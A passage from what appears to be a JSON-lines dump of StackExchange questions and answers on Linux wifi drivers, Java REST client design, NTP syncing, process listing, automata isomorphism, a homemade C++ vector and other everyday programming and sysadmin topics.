FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-        UESvrt: DLP+ SDES+ TLP- FCP+ CmpltTO- CmpltAbrt- UnxCmplt- RxOF+ MalfTLP+ ECRC- UnsupReq- ACSViol-        CESta:  RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-        CEMsk:  RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+        AERCap: First Error Pointer: 00, GenCap+ CGenEn- ChkCap+ ChkEn-    Capabilities: [13c v1] Device Serial Number 24-0a-00-ff-ff-00-00-01    Capabilities: [150 v1] Power Budgeting <?>    Capabilities: [160 v1] Virtual Channel        Caps:   LPEVC=0 RefClk=100ns PATEntryBits=1        Arb:    Fixed- WRR32- WRR64- WRR128-        Ctrl:   ArbSelect=Fixed        Status: InProgress-        VC0:    Caps:   PATOffset=00 MaxTimeSlots=1 RejSnoopTrans-            Arb:    Fixed- WRR32- WRR64- WRR128- TWRR128- WRR256-            Ctrl:   Enable+ ID=0 ArbSelect=Fixed TC/VC=01            Status: NegoPending- InProgress-    Capabilities: [1b0 v1] Latency Tolerance Reporting        Max snoop latency: 71680ns        Max no snoop latency: 71680ns    Capabilities: [220 v1] #15As you can see, there is no kernel driver associated with it, and I have no idea how to get one associated with it. I'm using debian 7.8. I know that the correct kernel driver for it is the wl module, which I have installed but for some reason it doesn't associate with that network card.here is modprobe debug output, not sure if it helpsroot@void:~# modprobe -vvv wllibkmod: DEBUG ../libkmod/libkmod-module.c:519 kmod_module_new_from_lookup: input alias=wl, normalized=wllibkmod: DEBUG ../libkmod/libkmod-module.c:525 kmod_module_new_from_lookup: lookup modules.dep wllibkmod: DEBUG ../libkmod/libkmod.c:542 kmod_search_moddep: use mmaped index 'modules.dep' modname=wllibkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='wl' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:398 kmod_pool_add_module: add 0x7fbb30aef4a0 key='wl'libkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='lib80211' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='lib80211' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:398 kmod_pool_add_module: add 0x7fbb30aef600 key='lib80211'libkmod: DEBUG ../libkmod/libkmod-module.c:178 kmod_module_parse_depline: add dep: /lib/modules/3.2.0-4-amd64/kernel/net/wireless/lib80211.kolibkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='cfg80211' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='cfg80211' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:398 kmod_pool_add_module: add 0x7fbb30af2e20 key='cfg80211'libkmod: DEBUG ../libkmod/libkmod-module.c:178 kmod_module_parse_depline: add dep: /lib/modules/3.2.0-4-amd64/kernel/net/wireless/cfg80211.kolibkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='rfkill' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:390 kmod_pool_get_module: get module name='rfkill' found=(nil)libkmod: DEBUG ../libkmod/libkmod.c:398 kmod_pool_add_module: add 0x7fbb30af2f80 key='rfkill'libkmod: DEBUG ../libkmod/libkmod-module.c:178 kmod_module_parse_depline: add dep: /lib/modules/3.2.0-4-amd64/kernel/net/rfkill/rfkill.kolibkmod: DEBUG ../libkmod/libkmod-module.c:184 kmod_module_parse_depline: 3 dependencies for wllibkmod: DEBUG ../libkmod/libkmod-module.c:546 kmod_module_new_from_lookup: lookup wl=0, list=0x7fbb30aef5a0libkmod: DEBUG ../libkmod/libkmod-module.c:435 kmod_module_unref: kmod_module 0x7fbb30aef4a0 releasedlibkmod: DEBUG ../libkmod/libkmod.c:406 kmod_pool_del_module: del 0x7fbb30aef4a0 key='wl'libkmod: DEBUG ../libkmod/libkmod-module.c:435 kmod_module_unref: kmod_module 0x7fbb30af2f80 releasedlibkmod: DEBUG ../libkmod/libkmod.c:406 kmod_pool_del_module: del 0x7fbb30af2f80 key='rfkill'libkmod: DEBUG ../libkmod/libkmod-module.c:435 kmod_module_unref: kmod_module 0x7fbb30af2e20 releasedlibkmod: DEBUG ../libkmod/libkmod.c:406 kmod_pool_del_module: del 0x7fbb30af2e20 key='cfg80211'libkmod: DEBUG ../libkmod/libkmod-module.c:435 kmod_module_unref: kmod_module 0x7fbb30aef600 releasedlibkmod: DEBUG ../libkmod/libkmod.c:406 kmod_pool_del_module: del 0x7fbb30aef600 key='lib80211'libkmod: INFO ../libkmod/libkmod.c:319 kmod_unref: context 0x7fbb30aef220 releasedIs there something like /lib/modules/3.2.0-4-amd64/modules.alias that I'm supposed to update?EDIT TO ADD:root@void:~# lsmod | grep -i wlwl                   2552134  0 iwlwifi               166761  0 mac80211              192806  1 iwlwifilib80211               12941  1 wlcfg80211              137243  3 mac80211,iwlwifi,wloot@void:~# dmesg | grep -i net[    0.003674] Initializing cgroup subsys net_cls[    0.921992] NET: Registered protocol family 16[    1.075822] NET: Registered protocol family 2[    1.078897] NET: Registered protocol family 1[    1.237519] audit: initializing netlink socket (disabled)[    1.407312] NET: Registered protocol family 10[    1.407547] NET: Registered protocol family 17[    1.408255] Initializing network drop monitor service[    1.426190] e1000e: Intel(R) PRO/1000 Network Driver - 2.3.2-k[    1.608316] e1000e 0000:00:19.0: eth0: Intel(R) PRO/1000 Network Connection[    3.220683] NET: Registered protocol family 31[   10.365781] ip_tables: (C) 2000-2006 Netfilter Core Team[   10.390360] ip6_tables: (C) 2000-2006 Netfilter Core Team[   10.541140] FS-Cache: Netfs 'nfs' registered for caching[   11.474762] ADDRCONF(NETDEV_UP): eth0: link is not ready[   13.015205] ADDRCONF(NETDEV_CHANGE): eth0: link becomes readyroot@void:~# dmesg | grep -i wl[    9.846040] wl: module license 'MIXED/Proprietary' taints kernel.root@void:~# dmesg | grep cfg80211[    9.835597] cfg80211: Calling CRDA to update world regulatory domainroot@void:~# dmesg | grep -i addr[    0.000000] ACPI: Local APIC address 0xfee00000[    0.000000] ACPI: Local APIC address 0xfee00000[    0.000000] ACPI: IOAPIC (id[0x08] address[0xfec00000] gsi_base[0])[    0.000000] IOAPIC[0]: apic_id 8, version 32, address 0xfec00000, GSI 0-23[   11.474762] ADDRCONF(NETDEV_UP): eth0: link is not ready[   13.015205] ADDRCONF(NETDEV_CHANGE): eth0: link becomes readypaul@void:~$ cat /etc/modprobe.d/broadcom-sta-dkms.conf # wl module from Broadcom conflicts with the following modules:blacklist b44blacklist b43legacyblacklist b43blacklist brcm80211blacklist brcmsmacblacklist ssb"  , "title": "wlan0 device missing"  , "tags": "debian;networking;wifi"  } 
{  "id": "_softwareengineering.342232"  , "question": "I was reading the Wikipedia article on Actor model and came across this line-...bridging the chasm between local and nonlocal concurrency.What is this non-local concurrency and how is it different from local concurrency?"  , "title": "What is the difference between local and non-local concurrency?"  , "tags": "concurrency"  } 
{  "id": "_codereview.87515"  , "question": "I am using RestTemplate as my HttpClient to execute a URL while the server will return a JSON string as the response. The customer will call this library by passing DataKey object which has userId in it. Earlier I was using AsyncRestTemplate which is part of Spring 4 but in my company they are not supporting Spring 4 in their parent pom so going back to Spring 3 for now.Using the given userId, I will find out what are the machines that I can hit to get the data and then store those machines in a LinkedList, so that I can execute them sequentially.After that I will check whether the first hostname is in block list or not. If it is not there in the block list, then I will make a URL with the first hostname in the list and execute it and if the response is successful then return the response. But let's say if that first hostname is in the block list, then I will try to get the second hostname in the list and make the url and execute it, so basically, first find the hostname which is not in block list before making the URL.Now, let's say if we selected first hostname which was not in the block list and executed the URL and somehow server was down or not responding, then I  will execute the second hostname in the list and keep doing this until you get a successful response. But make sure they were not in the block list as well so we need to follow above point.If all servers are down or in block list, then I can simply log and return the error that service is unavailable.I am making a library in which I will have synchronous (getSyncData) and asynchronous (getAsyncData) methods in it.getSyncData() - waits until I have a result, returns the result.getAsyncData() - returns a Future immediately which can be processed after other things are done, if needed.Below is my DataClient class which will be called by customer and they will pass DataKey object to either getSyncData or getAsyncData method depending on what they want to call. In general some customer will call getSyncData method and some customer might call getAsyncData method.public class DataClient implements Client {    private RestTemplate restTemplate = new RestTemplate();    private ExecutorService service = Executors.newFixedThreadPool(15);    @Override    public DataResponse getSyncData(DataKey key) {        DataResponse response = null;        Future<DataResponse> responseFuture = null;        try {            responseFuture = getAsyncData(key);            response = responseFuture.get(key.getTimeout(), key.getUnitOfTime());        } catch (TimeoutException ex) {            response = new DataResponse(DataErrorEnum.CLIENT_TIMEOUT, DataStatusEnum.ERROR);            responseFuture.cancel(true); // terminating the tasks that have got timed out        } catch (Exception ex) {            response = new DataResponse(DataErrorEnum.ERROR_CLIENT, DataStatusEnum.ERROR);        }        return response;    }       @Override    public Future<DataResponse> getAsyncData(DataKey key) {        DataFetcherTask task = new DataFetcherTask(key, restTemplate);        Future<DataResponse> future = service.submit(task);        return future;    }}DataFetcherTask class:public class DataFetcherTask implements Callable<DataResponse> {    private DataKey key;    private RestTemplate restTemplate;    public DataFetcherTask(DataKey key, RestTemplate restTemplate) {        this.key = checkNotNull(key);        this.restTemplate = checkNotNull(restTemplate);    }    // can we simplify this?    // I tried thinking a lot but not sure how to split this up which follows SRP    @Override    public DataResponse call() {        DataResponse dataResponse = null;        ResponseEntity<String> response = null;        MappingsHolder mappings = ShardMapping.getMappings(key.getTypeOfFlow());        // given a userId, find all the hostnames         // it can also have four hostname or one hostname or six hostname as well in the list        LinkedList<String> hostnames = mappings.getListOfHostnames(key.getUserId());        for (String hostname : hostnames) {            // If host name is null or host name is in local block list, skip sending request to this host            if (StringUtils.isEmpty(hostname) || ShardMapping.isBlockHost(hostname)) {                continue;            }            try {                String url = generateURL(hostname);                response = restTemplate.exchange(url, HttpMethod.GET, key.getEntity(), String.class);                // if the status code is NO_CONTENT, then send that as well                // otherwise send OK                if (response.getStatusCode() == HttpStatus.NO_CONTENT) {                    dataResponse = new DataResponse(response.getBody(), DataErrorEnum.NO_CONTENT,                            DataStatusEnum.SUCCESS);                } else {                    dataResponse = new DataResponse(response.getBody(), DataErrorEnum.OK,                            DataStatusEnum.SUCCESS);                }                break;                // below codes are duplicated looks like            } catch (HttpClientErrorException ex) {                HttpStatusCodeException httpException = (HttpStatusCodeException) ex;                DataErrorEnum error = DataErrorEnum.getErrorEnumByException(httpException);                String errorMessage = httpException.getResponseBodyAsString();                dataResponse = new DataResponse(errorMessage, error, DataStatusEnum.ERROR);                return dataResponse;            } catch (HttpServerErrorException ex) {                HttpStatusCodeException httpException = (HttpStatusCodeException) ex;                DataErrorEnum error = DataErrorEnum.getErrorEnumByException(httpException);                String errorMessage = httpException.getResponseBodyAsString();                dataResponse = new DataResponse(errorMessage, error, DataStatusEnum.ERROR);                return dataResponse;            } catch (RestClientException ex) {                // if it comes here, then it means some of the servers are down so adding it into block list                ShardMapping.blockHost(hostname);            }        }        // if hostnames are empty, then sending different ERROR ENUM code.        if (CollectionUtils.isEmpty(hostnames)) {            dataResponse = new DataResponse(null, DataErrorEnum.PERT_ERROR, DataStatusEnum.ERROR);        } else if (response == null) { // either  all the servers are down or all the servers were in block list            dataResponse = new DataResponse(null, DataErrorEnum.SERVICE_UNAVAILABLE, DataStatusEnum.ERROR);        }        return dataResponse;    }}My block list keeps getting updated from another background thread every 1 minute. If any server is down and not responding, then I need to block that server by using this - ShardMapping.blockHost(hostname);And to check whether any server is in block list or not, I use this - ShardMapping.isBlockHost(hostname);I am returning SERVICE_UNAVAILABLE if servers are down or in block list, on the  basis of response == null check, not sure whether it's a right approach or not.I want to know if I am following the Single Responsibility Principle properly here or not and if the above code can be simplified?"  , "title": "Receiving a JSON string response from a URL"  , "tags": "java;performance;multithreading;http;guava"  , "accepted_answer": "I would consider creating an AsyncClient and a SyncClient interface/classes instead of one. I guess users of the current Client class would use only one of the two methods. Furthermore, getSyncData does not use any of the fields of DataClient currently.Async version:public class AsyncDataClient {    private RestTemplate restTemplate = new RestTemplate();    private ExecutorService service = Executors.newFixedThreadPool(15);    public Future<DataResponse> getAsyncData(DataKey key) {        DataFetcherTask task = new DataFetcherTask(key, restTemplate);        Future<DataResponse> future = service.submit(task);        return future;    }}Sync version:public class SyncDataClient {    private AsyncDataClient asyncDataClient;    public SyncDataClient(final AsyncDataClient asyncDataClient) {        this.asyncDataClient = checkNotNull(asyncDataClient, asyncDataClient cannot be null);    }    public DataResponse getSyncData(DataKey key) {        ...        responseFuture = asyncDataClient.getAsyncData(key);        ...    }}See also: Interface segregation principleIn getSyncData the response variable is used for multiple purposes. It could store a valid response and  error responses too. I would use separate variables for these purposes for better readability and smaller variable scope:public DataResponse getSyncData(DataKey key) {    Future<DataResponse> responseFuture = null;    try {        responseFuture = asyncDataClient.getAsyncData(key);        final DataResponse response = responseFuture.get(key.getTimeout(), key.getUnitOfTime());        return response;    } catch (TimeoutException ex) {        final DataResponse response = new DataResponse(DataErrorEnum.CLIENT_TIMEOUT, DataStatusEnum.ERROR);        responseFuture.cancel(true); // terminating the tasks that have got                                     // timed out        return response;    } catch (Exception ex) {        return new DataResponse(DataErrorEnum.ERROR_CLIENT, DataStatusEnum.ERROR);    }}It also makes easier to figure out that the only occasion when this method returns null is the try block, when the future returns null.See also: Effective Java, Second Edition, Item 45: Minimize the scope of local variablesIn this catch block you loose the cause of the error:} catch (Exception ex) {    response = new DataResponse(DataErrorEnum.ERROR_CLIENT, DataStatusEnum.ERROR);}An operator would be helpful for (at least) a debug level log message here. It could save you lots of debugging time.DataKey contains at least these methods:getTimeout()getUnitOfTime()getTypeOfFlow()getUserId()getEntity()It reminds me a DataRequest object name instead. Consider renaming. For me, DataKey is closer to a cache key class or something like that. Furthermore, getEntity is still smells even in a request class. It might be a third parameter of getAsyncData and the constructor of DataFetcherTask as well.The of hostnames reference could be a simple List<String> instead of LinkedList<String> hostnames = ...As far as I see the code does not use any LinkedList specific methods.See: Effective Java, 2nd edition, Item 52: Refer to objects by their interfacesThis:if (CollectionUtils.isEmpty(hostnames)) {Could be changed to if (hostnames.isEmpty()) {CollectionUtils checks nulls as well, but if it's a null you get a NullPointerException in the for loop earlier.Instead of StringUtils.isEmpty(hostname) I usually prefer StringUtils.isBlank which handles whitespace-only strings too.I don't know how complex is your generateURL method but I would consider moving it to an UrlGenerator method. I would also call it generateUrl for a little bit better readability.From Effective Java, 2nd edition, Item 56: Adhere to generally accepted naming conventions: While uppercase may be more common,   a strong argument can made in favor of capitalizing only the first   letter: even if multiple acronyms occur back-to-back, you can still   tell where one word starts and the next word ends.   Which class name would you rather see, HTTPURL or HttpUrl?You could move this part at the beginning of your method as a guard clause:// if hostnames are empty, then sending different ERROR ENUM code.if (hostnames.isEmpty()) {    dataResponse = new DataResponse(null, DataErrorEnum.PERT_ERROR, DataStatusEnum.ERROR);For example:List<String> hostnames = mappings.getListOfHostnames(key.getUserId());// if hostnames are empty, then sending different ERROR ENUM code.if (hostnames.isEmpty()) {    return new DataResponse(null, DataErrorEnum.PERT_ERROR, DataStatusEnum.ERROR);}Instead of the break statement in the loop you could return immediately:if (response.getStatusCode() == HttpStatus.NO_CONTENT) {    return new DataResponse(response.getBody(), DataErrorEnum.NO_CONTENT, DataStatusEnum.SUCCESS);} else {    return new DataResponse(response.getBody(), DataErrorEnum.OK, DataStatusEnum.SUCCESS);}It also helps to make the scope of dataResponse variable smaller. Actually, you don't need it at all and you could get rid of the null comparison at the end of the method too:@Overridepublic DataResponse call() {    ...    List<String> hostnames = mappings.getListOfHostnames(key.getUserId());    if (hostnames.isEmpty()) {        return new DataResponse(null, DataErrorEnum.PERT_ERROR, DataStatusEnum.ERROR);    }    for (String hostname: hostnames) {        ...        try {            ...            ResponseEntity<String> response = restTemplate.exchange(url, HttpMethod.GET, key.getEntity(), String.class);            ...            if (response.getStatusCode() == HttpStatus.NO_CONTENT) {                return new DataResponse(response.getBody(), DataErrorEnum.NO_CONTENT, DataStatusEnum.SUCCESS);            } else {                return new DataResponse(response.getBody(), DataErrorEnum.OK, DataStatusEnum.SUCCESS);            }        } catch (HttpClientErrorException ex) {            ...            return new DataResponse(errorMessage, error, DataStatusEnum.ERROR);        } catch (HttpServerErrorException ex) {            ...            return new DataResponse(errorMessage, error, DataStatusEnum.ERROR);        } catch (RestClientException ex) {            // if it comes here, then it means some of the servers are down so adding it into block list            ShardMapping.blockHost(hostname);        }    }    // either  all the servers are down or all the servers were in block list    return new DataResponse(null, DataErrorEnum.SERVICE_UNAVAILABLE, DataStatusEnum.ERROR);}Also note the scope change of response.I don't see why you need this casting:} catch (HttpClientErrorException ex) {    HttpStatusCodeException httpException = (HttpStatusCodeException) ex;and this one:} catch (HttpServerErrorException ex) {    HttpStatusCodeException httpException = (HttpStatusCodeException) ex;Since HttpStatusCodeException is a superclass of both HttpClientErrorException and HttpServerErrorException the following is the same:    } catch (HttpClientErrorException ex) {        HttpStatusCodeException httpException = ex;        ...    } catch (HttpServerErrorException ex) {        HttpStatusCodeException httpException = ex;Furthermore, HttpStatusCodeException has only these two subclasses in Spring and the body of both catch clauses are the same so you could simply catch only HttpStatusCodeException here:} catch (HttpStatusCodeException httpException) {    DataErrorEnum error = DataErrorEnum.getErrorEnumByException(httpException);    String errorMessage = httpException.getResponseBodyAsString();    return new DataResponse(errorMessage, error, DataStatusEnum.ERROR);} catch (RestClientException ex) {    // if it comes here, then it means some of the servers are down so adding it into block list    ShardMapping.blockHost(hostname);}Keep in my that anyone can create a new subclass of HttpStatusCodeException so that's might not what you want.If you're using Java 7 or later, you could use multi-catch with one catch block:} catch (HttpClientErrorException | HttpServerErrorException ex) {Another solution is extracting out the common code into a method: private DataResponse createErrorResponse(HttpStatusCodeException httpException) {    DataErrorEnum error = DataErrorEnum.getErrorEnumByException(httpException);    String errorMessage = httpException.getResponseBodyAsString();    return new DataResponse(errorMessage, error, DataStatusEnum.ERROR);}Usage:} catch (HttpClientErrorException ex) {    return createErrorResponse(ex);} catch (HttpServerErrorException ex) {    return createErrorResponse(ex);responseFuture.cancel(true) is in a catch block. I have not checked but I would try to move it into a finally block. If another (non-timeout exception) happens you won't use the future anyway.getUnitOfTime does not suggest any connection with the getTimeout method. I would rename it to getTimeoutUnit."  } 
{  "id": "_unix.227931"  , "question": "I am trying to list all the ffmpeg processes that are currently running on Debian machine (Ubuntu 15).I use the following command:ps aux | grep 'ffmpeg'If only one ffmpeg process is running, I still get two results. One for the actual process, and one for grep that is looking for ffmpeg in the process list.max      21599 13.2  3.0 503848 92288 ?        Rl   01:39   1:18 ffmpeg -f video4linux2 -i /dev/video0 -f mpeg1video -b:v 800k -r 30 http://127.0.0.1:8082/oops/1024/640/ -nostdin -nostats -loglevel fatalmax      23789  0.0  0.0  13688  2172 pts/3    S+   01:49   0:00 grep --color=auto ffmpegHow can I modify my request so that the grep result which is actually my request is omitted from the output? "  , "title": "List process by name excluding grep"  , "tags": "linux;grep;process;ps"  } 
{  "id": "_unix.305643"  , "question": "When I query the status of the NTP daemon with ntpdc -c sysinfo I get the following output:system peer:          0.0.0.0system peer mode:     unspecleap indicator:       11stratum:              16precision:            -20root distance:        0.00000 sroot dispersion:      12.77106 sreference ID:         [73.78.73.84]reference time:       00000000.00000000  Thu, Feb  7 2036  7:28:16.000system flags:         auth monitor ntp kernel statsjitter:               0.000000 sstability:            0.000 ppmbroadcastdelay:       0.000000 sauthdelay:            0.000000 sThis indicates that the NTP sync failed. However the system time is accurate within 1 second precision. When I ran my system without network connection for the same period as I did now the system time would deviate ~10s.This behavior suggests that the system has another way of syncing the time. I realized that there is also systemd-timesyncd.service (with configuration file at /etc/systemd/timesyncd.conf) and timedatectl status gives me the correct time:      Local time: Thu 2016-08-25 10:55:23 CEST  Universal time: Thu 2016-08-25 08:55:23 UTC        RTC time: Thu 2016-08-25 08:55:22       Time zone: Europe/Berlin (CEST, +0200)     NTP enabled: yesNTP synchronized: yes RTC in local TZ: no      DST active: yes Last DST change: DST began at                  Sun 2016-03-27 01:59:59 CET                  Sun 2016-03-27 03:00:00 CEST Next DST change: DST ends (the clock jumps one hour backwards) at                  Sun 2016-10-30 02:59:59 CEST                  Sun 2016-10-30 02:00:00 CETSo my question is what is the difference between the two mechanisms? Is one of them deprecated? Can they be used in parallel? Which one should I trust when I want to query the NTP sync status?(Note that I have a different system (in a different network) for which both methods indicate success and yield the correct time.)"  , "title": "ntpd vs. systemd-timesyncd - How to achieve reliable NTP syncing?"  , "tags": "ntp;ntpd"  } 
{  "id": "_softwareengineering.94709"  , "question": "I'm considering using a Java stored procedure as a very small shim to allow UDP communication from a PL/SQL package. Oracle does not provide a UTL_UDP to match its UTL_TCP. There is a 3rd party XUTL_UDP that uses Java, but it's closed source (meaning I can't see how it's implemented, not that I don't want to use closed source).An important distinction between PL/SQL and Java stored procedures with regards to networking: PL/SQL sockets are closed when dbms_session.reset_package is called, but Java sockets are not. So if you want to keep a socket open to avoid the tear-down/reconnect costs, you can't do it in sessions that are using reset_package (like mod_plsql or mod_owa HTTP requests).I haven't used Java stored procedures in a production capacity in Oracle before. This is a very large, heavily-used database, and this particular shim would be heavily used as well (it serves as a UDP bridge between a PL/SQL RFC 5424 syslog client and the local rsyslog daemon).Am I opening myself up for woe and horror, or are Java stored procedures stable and robust enough for usage in 10g? I'm wondering about issues with the embedded JVM, the jit, garbage collection, or other things that might impact a heavily used database."  , "title": "Java stored procedures in Oracle, a good idea?"  , "tags": "java;oracle;stored procedures"  } 
{  "id": "_codereview.79946"  , "question": "I have a small function that when passed a str that names a file that contains a program; it returns a 2-tuple with the number of the non-empty lines in that program, and the sum of the lengths of all those lines. Here is my current functioning code:def code_metric(file_name):    line_count = char_count = 0    with open(file_name) as fin:        stripped = (line.rstrip() for line in fin)        for line_count, line in enumerate(filter(None, stripped), 1):            char_count += len(line)    return line_count, char_countIs there a way to implement this function using functionals such as map, filter, and reduce and small lambdas to pass to these functionals? I could make it work conventionally but having some issue with using functionals. Any help would be great."  , "title": "Counting Lines and Sum of Lines"  , "tags": "python;python 3.x;functional programming"  } 
{  "id": "_reverseengineering.9431"  , "question": "I am trying to change the name of the DLL file I had specified for my application before compiling it. When I change the DLL file name I get the error message like: System.IO.FileNotFoundException: Could not load file or assembly 'MyDLLName'Is there any way to change the DLL I had specified through .NET Reflector + Reflexil add-in?"  , "title": "How to change the DLL name in the already compiled application?"  , "tags": "disassembly;dll;patch reversing;reassembly;.net"  } 
{  "id": "_unix.379281"  , "question": "I have a large directory, with too many files for just ls.  My idea: use something along the line of:find . -name * -exec wc -c < {} \\; | sort | tail -n 1Problem: shell is interpreting it as (find . -name * -exec wc -c) < ({} \\;) | ...I need the < on the < {}, to avoid displaying the filename into sort.I've also triedfind . -name * -exec cat {} +| wc -cHowever, this seems to be interpreted as: (find . -name * -exec cat {}) | (wc -c) -- so it gives me the size of all files combined.There is also a variant using du-- however, since the biggest files could be just a few bytes apart, this just displays along the lines of a million files of 500-KB size-- again, too many for ls."  , "title": "How to find the biggest filesize in a large directory"  , "tags": "find;osx;size"  } 
{  "id": "_unix.71807"  , "question": "I'm noticing very strange behavior from the mv command that may (or may not) be related to the open system call. We're running RedHat v5. There are two separate storage devices, one mounted to /diskTo and the other /diskFrom (for this example).In normal operations, we are moving (mv'ing) hundreds, if not low thousands, of files from /diskFrom to /diskTo. The majority of the files move fine. However, out of, say 1000 files, we have 1-5 that fail. The failure is a permission denied error. When we check the file destination, a file exists, but the inode contents are garbage. For example, the timestamp is junk (1969, but varies), and the permissions are 0. So, I figured we should run strace on the mv commands and capture the output of the failures. Here's what I found:munmap(0x2b0328770000, 4096)            = 0geteuid()                               = 31169ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0x7fff90de9500) = -1 ENOTTY (Inappropriate ioctl for device)stat(/diskTo/foo.dat, 0x7fff90de95d0) = -1 ENOENT (No such file or directory)lstat(/diskFrom/bar.dat, {st_mode=S_IFREG|0444, st_size=234632119, ...}) = 0lstat(/diskTo/foo.dat, 0x7fff90de9370) = -1 ENOENT (No such file or directory)rename(/diskFrom/bar.dat, /diskTo/foo.dat) = -1 EXDEV (Invalid cross-device link)unlink(/diskTo/foo.dat) = -1 ENOENT (No such file or directory)open(/diskFrom/bar.dat, O_RDONLY|O_NOFOLLOW) = 3fstat(3, {st_mode=S_IFREG|0444, st_size=234632119, ...}) = 0open(/diskTo/foo.dat, O_WRONLY|O_CREAT|O_EXCL, 0400) = -1 EEXIST (File exists)write(2, mv: , 4)                     = 4write(2, cannot create regular file `/diskTo..., 76) = 76write(2, : File exists, 13)           = 13write(2, \\n, 1)                       = 1As you can see, The unlink is called, which returns -1, which shows the file doesn't exist. Then, mv tries to open the file and receives an EEXIST error. But the file can't possibly exist! I'm not showing this here, but the script that is creating this test case is using unique numbers to build directories - so it's very unlikely (if not impossible) that the file truly existed. Not to mention, the unlink proves the file didn't exist.Could this be an issue with how open is creating the inode contents? I'm not sure where to look at this point. Maybe looking into mv more, or the open system call?"  , "title": "Strange behavior in mv command - maybe open sys call issue?"  , "tags": "fedora;filesystems;rhel;rename;open files"  } 
{  "id": "_unix.284410"  , "question": "Is there any way of displaying memory usage from U-Boot?I mean operation memory - like sdram - not mmc.. Ideally from shell but I can be happy also with C command as I compile U-Boot myself."  , "title": "U-Boot shell - show memory usage (like Linux free command)"  , "tags": "memory;u boot"  } 
{  "id": "_unix.122115"  , "question": "I've installed Debian on an old netbook of mine which I intend to turn into a thin client for a personal thingie while also having it ready to play a video or some music when needed.After swimming against the current for hours, working around known bugs and getting wireless to work, I've finally come to a point where I can't find any more help on Google. (I've hardly used Linux)  I wish to boot into a terminal (like pressing Control + Alt + F1) by default, but also have the GUI (Gnome, in my case) loading in the background if possible (for quick access with Control + Alt + F7).How do I do this?"  , "title": "Boot to a terminal by default but still have GUI loading in Debian?"  , "tags": "debian"  , "accepted_answer": "So, by empirical evidence, the GUI won't even start up properly unless I'm switched to it (VT7) during the loading, so I tried something else.  I used this to get tty1 and tty2 to autologin into my account.Then I set up the file ~/.bash_profile with this code:  #!/bin/shif [ $(tty) = 'dev/tty1' ]then    echo boot script yada yada on tty1else    echo Type 'startx' to get your GUI!fiThen I instructed the other potential users of my netbook to press Control + Alt + F2 and Control + Alt + F7 to get around. (Taped sticky note...)  This is the best solution I've found so far.If anyone posts a better (full) solution, it'll get all the cookies."  } 
{  "id": "_cs.41785"  , "question": "What is the intuition behind the Max-Flow Min-Cut Theorem? I know that the Min-Cut is the dual of Max-Flow when formulated as a linear program, but the result seems artificial to me."  , "title": "Max-Flow Min-Cut Theorem Intuition"  , "tags": "graph theory;network flow;intuition"  , "accepted_answer": "So you have a flow thought the network. If you want the maximal flow, your network should not have any bottlenecks. And if you partition the network in two parts, where the source and the sink are in different partitions - you won't be able to push more though the network than this cut - i.e. the sum of edges.Now the minimum cut will be the worst bottleneck in the network. So it will correspond to maxflow."  } 
{  "id": "_webapps.108910"  , "question": "I'm trying to connect oracle database and encountered the following error  Connection URL uses an unsupported JDBC protocol  Is this error due to firewall?  Please help."  , "title": "jdbc connection issue in google apps script"  , "tags": "google apps script"  } 
{  "id": "_cs.5010"  , "question": "Im having trouble figuring out how to determine if two finite automata are the same apart from renumbered states.  More specifically, heres an example: It's easy to generate a regular expression by hand and see that both FA produce: b + (ab*a(a+b)), though their states are renumbered, they are identical.What I'm trying to do is figure out a way to check if the two states are the same apart from state renumbering without generating a regular expression. Since the states are just renumbered, I'm thinking it has something to do with permutations of the states(1 2 3 4) but am not seeing how to determine if they are equivalent. I'm thinking it has something to do with input like this and relating it to the 24 permutations of the states:Left       Right1 a 2      4 a 31 b 4      4 b 12 a 3      3 a 22 b 2      3 b 33 a 4      2 a 13 b 4      2 b 1Im more so trying to figure out the algorithm to renumber the states Any ideas or help is greatly appreciated! "  , "title": "Finding an isomorphism between finite automata"  , "tags": "automata;finite automata;graph isomorphism"  , "accepted_answer": "I can identify a permutation on the set of states $\\{1,2,3,4\\}$ the turns the left-hand diagram into the right-hand one. In other words, if you renumber the states on the left-hand diagram, you get the right-hand diagram. Thus the two automata are identical up to renumbering."  } 
{  "id": "_codereview.138389"  , "question": "I've made my own std::vector but it's the first time that I work with template and new/delete. The code works, but surely there are a lot of things that are wrong. Can you read the code and say me if I have coded it the right way?(main is a test.)#ifndef __STDVECTOR__#define __STDVECTOR__#include <iostream>using namespace std;template <typename T>    class StdVector{        private:            T *buffer;            unsigned int capacity;        public:            //Constructor.            StdVector(){                capacity=0;                buffer=new T[capacity];            }            //Copy constructor.            StdVector(const StdVector &asv){                int i;                capacity=asv.getCapacity();                buffer=new T[asv.getCapacity()];                for (i=0; i<capacity; i++){                    buffer[i]=asv[i];                }            }            //Destructor.            ~StdVector(){                delete []buffer;            }            void push_back(T obj){                StdVector oldSV(*this);                int i;                capacity++;                delete []buffer;                buffer=new T[capacity];                for (i=0; i<oldSV.getCapacity(); i++){                    buffer[i]=oldSV[i];                }                buffer[i]=obj;            };            T getBuffer() const{                if (capacity==0){                    throw exception();                }                return *buffer;            };            T &operator[](int index) const{                if (index>=capacity){                    //Out of range.                    throw exception();                }                else{                    return buffer[index];                }            }            StdVector &operator=(const StdVector &obj){                capacity=obj.getCapacity();                delete []buffer;                buffer=new T[capacity];                buffer=obj.getBuffer();                return *this;            }            unsigned int getCapacity() const{                return capacity;            };    };#endifint main(){    try{        StdVector<int> test;        StdVector<string> test2;        unsigned int i;        test.push_back(5);        test.push_back(4);        test.push_back(3);        test.push_back(2);        test.push_back(1);        test.push_back(0);        test.push_back(-1);        test.push_back(-2);        test.push_back(-3);        test.push_back(-4);        test.push_back(-5);        for (i=0; i<test.getCapacity(); i++){            cout << test[i] << endl;        }        